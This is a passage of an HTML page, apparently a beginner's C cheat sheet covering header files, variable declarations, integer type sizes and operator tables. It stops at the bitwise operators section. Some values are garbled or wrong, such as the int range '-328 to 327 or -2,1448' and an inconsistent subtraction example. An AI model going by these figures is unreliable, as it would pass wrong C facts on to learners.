A <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">header file</b> is a <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">file</b> with extension .h which contains <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">C</b> function declarations and macro definitions to be shared between several source <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">files</b>. There are two types of <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">header files</b>: the <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">files</b> that the programmer writes and the <b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">files</b> that comes with your compiler.</div>
<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<span style="background-color: transparent; color: #19232d; font-family: inherit; font-size: 18pt;">2.Variables</span></div>
<div class="cheat_sheet_output_block" id="block_3196_10042" style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px 0px 1.857em; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_twocol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; text-align: left; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" colspan="2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><b style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Declaring</b></td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top">int x;</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
A variable.</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top">char x = ‘A’;</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
A variable & initializing it.</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top">float a,b,c;</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
Multiple variables of the same type.</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top">const int n = 18;</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
A constant variable: can’t assign to after declaration.</div>
</td></tr>
</tbody></table>
</div>
<h2 style="background-color: white; border: 0px; color: #19232d; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 21px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; font-family: inherit; font-size: 18pt; margin: 0px; padding: 0px; vertical-align: baseline;">3.Integer Types.</span></h2>
<table class="table table-bordered" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Type</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Storage size</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Value range</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">char</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">1 byte</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">-128 to 127 or 0 to 255</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">unsigned char</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">1 byte</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">0 to 255</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">signed char</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">1 byte</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">-128 to 127</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">int</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">2 or 4 bytes</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">-328 to 327 or -2,1448 to 2,147,483,647</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">unsigned int</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">2 or 4 bytes</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">0 to 65,535 or 0 to 4,294,967,295</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">short</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">2 bytes</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">-32,768 to 32,767</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">unsigned short</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">2 bytes</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">0 to 65,535</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">long</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">4 bytes</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">-2,147,483,648 to 2,147,483,647</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">unsigned long</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">4 bytes</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">0 to 4,294,967,295</td></tr>
</tbody></table>
<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 style="background-color: white; border: 0px; color: #19232d; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; font-family: inherit; font-size: 18pt; margin: 0px; padding: 0px; vertical-align: baseline;">4.Operators in C.</span></h3>
<div style="background-color: white; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<table style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Arithmetic Operators<br />
<div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
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Relational Operators.</div>
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Logical Operators.</div>
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Bit-wise Operators.</div>
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Assignment Operators.</div>
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Misc Operators.</div>
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I.Arithmetic Operators</h2>
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<table class="table table-bordered" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Operator</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Example</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">+</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Adds two operands.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X + Y = 20</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">−</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Subtracts second operand from the first.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X – Y = -20</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">*</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Multiplies both operands.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X*Y = 100</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">/</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Divides numerator by de-numerator.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Y / X= 1</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">%</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Modulus Operator and remainder of after an integer division.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Y % X= 0</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">++</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Increment operator increases the integer value by one.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X++ = 11</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">—</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Decrement operator decreases the integer value by one.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">X– = 9</td></tr>
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II.Relational Operators</h2>
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<table class="table table-bordered" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Operator</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Example</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">==</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Checks if the values of two operands are equal or not. If yes, then the condition becomes true.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X == Y) is not true.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">!=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Checks if the values of two operands are equal or not. If the values are not equal, then the condition becomes true.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X != Y) is true.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Checks if the value of left operand is greater than the value of right operand. If yes, then the condition becomes true.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X > Y) is not true.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Checks if the value of left operand is less than the value of right operand. If yes, then the condition becomes true.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X < Y) is true.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">>=</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Checks if the value of left operand is greater than or equal to the value of right operand. If yes, then the condition becomes true.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X >= Y) is not true.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><=</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Checks if the value of left operand is less than or equal to the value of right operand. If yes, then the condition becomes true.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X <= Y) is true</td></tr>
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III.Logical Operators</h2>
<table class="table table-bordered" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Operator</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Description</th><th style="background: rgb(242, 242, 242); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Example</th></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">&&</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Called Logical AND operator. If both the operands are non-zero, then the condition becomes true.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X && Y) is false.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">||</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Called Logical OR Operator. If any of the two operands is non-zero, then the condition becomes true.</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">(X || Y) is true.</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">!</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Called Logical NOT Operator. It is used to reverse the logical state of its operand. If a condition is true, then Logical NOT operator will make it false.</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">!(X && Y) is true.</td></tr>
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IV. Bit-wise Operators</h2>
<table class="table table-bordered" style="background-color: white; border-collapse: collapse; border-spacing: 0px; border: 0px; color: #0e0b0b; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline; width: 733px;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
